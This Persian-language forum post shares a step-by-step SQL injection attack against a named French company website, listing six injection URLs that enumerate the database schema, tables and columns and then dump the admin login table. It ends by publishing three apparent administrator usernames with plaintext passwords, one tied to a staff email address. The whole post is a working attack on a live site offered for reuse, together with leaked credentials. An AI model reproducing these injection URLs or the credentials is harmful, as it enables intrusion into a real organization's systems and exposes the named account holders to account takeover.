به دلیل درخواستهای مکرر دوستان این تارگت sqli رو قرار میم که کاملا اینجکت شده و یوزد و پسورد اون رو دراوردم

با نظرهاتون منو همراهی کنید:دی

این سایت دارای باگ sqli

http://www.btpl.fr/page.php?r=4&p=45+order+by+3-- 

مرحله 1:

http://www.btpl.fr/page.php?r=4&p=45+order+by+3--  

مرحله 2:

http://www.btpl.fr/page.php?r=4&p=45+union+select+1,2,3--  

مرحله 3:

http://www.btpl.fr/page.php?r=4&p=45+union+select+1,group_concat%28schema_name%29,3+from+information_schema.schemata  

مرحله 4 :

http://www.btpl.fr/page.php?r=4&p=45+union+select+1,group_concat%28table_name%29,3+from+information_schema.tables+where+table_schema=CHAR%2898,%20116,%20112,%20108,%2099,%20104,%20100,%20113,%2095,%2048,%2049%29

مرحله 5 :

http://www.btpl.fr/page.php?r=4&p=45+union+select+1,group_concat%28column_name%29,3+from+information_schema.columns+where+table_name=CHAR%2897,%20100,%20109,%20105,%20110%29   

مرحله 6 :

http://www.btpl.fr/page.php?r=4&p=45+union+select+1,group_concat%28login,0x3a,password%29,3+from+btplchdq_01.admin  

اینم یوزر و پسوردها:

---
username: Admin_BtpL
password: FilieRE
--------------------------------------
username: Admin_PaRMEELI
password: ENViroNNemeNT
--------------------------------------
username: g.peton@btpl.fr
password: Btpl8029GP
-

موفق باشید.

  کپی برداری در وب ممنوع می باشد .......فقط در بروز5